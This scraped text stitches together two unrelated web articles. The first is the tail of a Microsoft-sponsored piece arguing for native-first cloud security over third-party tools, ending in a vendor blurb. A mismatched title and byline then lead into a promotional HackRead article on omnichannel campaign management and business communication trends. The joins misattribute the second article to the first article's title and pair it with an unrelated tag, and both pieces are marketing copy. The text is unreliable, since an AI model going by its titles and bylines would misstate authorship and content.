On the other hand, a native-first cloud security approach relies on first-party solutions and doesn't require any changes to the customer's cloud environment. That minimizes the risk of introducing additional weaknesses.

**Eliminate Security Blind Spots**

Another core benefit of a native-first cloud security model is that it eliminates the blind spots often seen with best-of-breed solutions. Third-party solutions often struggle to integrate with one another or with the specific cloud platform being used, which can lead to gaps in visibility and coordination — making it difficult to have a unified view of the security landscape. And because public cloud environments often rely on a variety of interconnected services and APIs, organizations run the risk of missing potential threats or vulnerabilities if their best-of-breed security tools are not designed to work seamlessly with these cloud-native services.

A native-first approach eliminates this issue because all of the CSP solutions are already designed to work together seamlessly. For example, a cloud container workload protection plan that natively integrates with Azure Kubernetes Services (AKS) and Azure Container Repository (ACR) would not require any changes to the protection plan when changes are made to the container-based solution. Similarly, a cloud-native application protection platform (CNAPP) integrating with Microsoft threat intelligence can ensure security teams can respond to security incidents in real time.

**Drive Greater Team Efficiencies**

Finally, taking a best-of-breed approach means that security teams are responsible for managing multiple security solutions from different vendors. This is complex and resource-intensive, requiring teams to understand the various interfaces, policies, and update schedules, while also managing crucial security configurations and responding promptly to emerging threats. Running multiple security tools concurrently can also lead to redundant system resources. This redundancy affects the overall performance of the cloud environment and increases operational costs without necessarily improving security effectiveness.

Under a native-first model, security teams only need to understand their CSP's services — thus cutting down on the initial learning curve required since the native solutions leverage other native services, such as dashboards and responses. Many CSPs are also designed to ensure the efficient use of customers' cloud resources, with much of the heavy lifting done within the CSP's control plane. 

Ultimately, a native-first cloud security approach delivers better protections and a more efficient use of resources than best-of-breed third-party solutions. And because CSPs are used to serving a wide range of customers and use cases, they can often offer more flexibility, innovation, and specialized security expertise than third-party vendors. By exploring available native-first security solutions to see what makes the most sense for their environments, organizations can take the first step toward a more secure and more efficient cloud-based future.

— Read more Partner Perspectives from Microsoft Security

**About the Author(s)**

Microsoft

Protect it all with Microsoft Security.

Microsoft offers simplified, comprehensive protection and expertise that eliminates security gaps so you can innovate and grow in a changing world. Our integrated security, compliance, and identity solutions work across platforms and cloud environments, providing protection without compromising productivity.

We help customers simplify the complex by prioritizing risks with unified management tools and strategic guidance created to maximize the human expertise inside your company. Our unparalleled AI is informed by trillions of signals so you can detect threats quickly, respond effectively, and fortify your security posture to stay ahead of ever-evolving threats.

Why a Native-First Approach Is Key to Cloud Security

By Uzair Amir
Discover how omnichannel campaign management helps businesses thrive in 2024. Learn the benefits & unlock the secrets to success in today's tech-driven market.
This is a post from HackRead.com Read the original post: The Future of Business Communications: Trends Shaping the Industry

Keeping up with technology trends, especially focusing on effective business communication with your customers across all platforms, is crucial for your company’s success. Trends in 2024 include integrating omnichannel campaign management solutions to make business communications as effective and efficient as possible.

Integration testing services play a critical role in this context. They ensure that the various components of omnichannel platforms work together flawlessly, providing a consistent and reliable customer experience across all channels.

We will explore the following topics: what makes a successful business, the importance of knowing technology trends, and how a business can benefit from an omnichannel campaign management platform.

****What makes a successful business?********Provides high-quality products and services****

A successful business provides quality products and services that meet or exceed the customers’ expectations to build customers’ trust and loyalty.

****Enhances customer experience through omnichannel campaign management strategy****

A good, successful business provides an exceptional, quality customer experience. To grow your business, continue beyond closing a sale. The goal should be to satisfy customers with the products and services you provide and to consistently stay responsive in communicating with your customers to ensure their happiness with their purchase or subscription.

This includes knowing how else you can make customers happy by turning them into repeat buyers and by receiving positive feedback, recommendations, and referrals from them due to your high-quality customer service.

****Focuses on customers’ needs****

A successful business understands what its customers need, and its goal is to consistently deliver these needs and preferences to ensure customer retention and satisfaction.

****Innovates and adapts to current trends in technology****

To thrive, a business should innovate and adapt to current trends in technology to stay relevant, capitalize on emerging opportunities, and gain an advantage over existing competitors.

****The importance of knowing the trends in Technology****

Staying abreast with the latest trends in technology in business communications is crucial for the following reasons:

****It sustains competitiveness****

Keeping up with technological advancements guarantees that your business stays competitive in the market. Embracing innovative communication tools and tactics enables you to stay aligned with industry norms and fulfil customer demands, giving you a competitive advantage over rivals who may be slower to adopt new technologies.

****It enhances customer experience****

Trends in technology significantly influence customer experiences. By utilizing cutting-edge communication tools and platforms, businesses can offer smooth, tailored interactions across various channels. This elevates customer satisfaction, nurtures loyalty, and boosts the probability of repeat purchases and favourable recommendations.

****It improves productivity and efficiency****

Incorporating cutting-edge technology into business communications streamlines operations automates tasks, and boosts overall efficiency and productivity. Advanced collaboration platforms, AI-driven chatbots, and cloud-based communication solutions expedite decision-making, streamline workflows, and reduce turnaround times.

****It reduces the risks****

Neglecting technological trends in business communications can leave businesses vulnerable to risks. Outdated systems are susceptible to security breaches, compliance issues, and operational inefficiencies. Keeping up with the latest technologies allows businesses to anticipate and address potential risks, protect sensitive information, and stay ahead in an ever-changing digital environment.

****It adjusts to evolving consumer behaviour****

Adapting to changes in consumer behaviour enables businesses to tailor their communication strategies accordingly. Whether it involves embracing social media marketing, enhancing mobile experiences, or incorporating voice assistants, staying updated allows businesses to connect with customers where they are and effectively engage with them.

****How a business can benefit from an omnichannel campaign managing platform********Increase in customer engagement and loyalty****

An omnichannel campaign management platform enables businesses to interact with customers through various channels, including email, SMS, social media, etc., ultimately resulting in higher engagement and loyalty.

****Improved targeting and segmentation**    **

Enhanced targeting and segmentation enable businesses to customize marketing campaigns for specific customer segments, considering demographics, behaviour, and preferences. This yields more relevant and effective communication, ultimately driving higher conversion rates and ROI.

****Streamlined campaign management****

It offers businesses a centralized platform for planning, executing, and analyzing marketing campaigns across various channels, simplifying the management process, minimizing manual tasks, and enhancing overall efficiency.

****Seamlessly integrates with existing CRM, email marketing, and other business systems****

This seamless integration guarantees data coherence and enables personalized communication across different channels.

****Achieve a competitive advantage****

By utilizing an omnichannel campaign management platform, businesses can achieve a competitive advantage by delivering exceptional customer experiences, boosting revenue, and distinguishing themselves from rivals using conventional marketing approaches.

****Conclusion****

Staying updated with technology trends in business communications is essential for maintaining competitiveness and achieving success. One way to do this is to leverage omnichannel campaign management platforms. These platforms boost customer engagement, simplify campaign management, and seamlessly integrate with current systems, offering businesses a competitive edge.

****_RELATED ARTICLES_****

1.  How Cross-Chain DEXes Democratize the Crypto Market?
2.  Understanding Software Supply Chain and How to Secure It
3.  Digital Transformation in Financial Industry – Role of Fintech
4.  15 Best SaaS SEO Experts That Will Help You Dominate Online
5.  Zerocopter Debuts First Hacker-Led Cybersecurity Marketplace

Tag

#ssl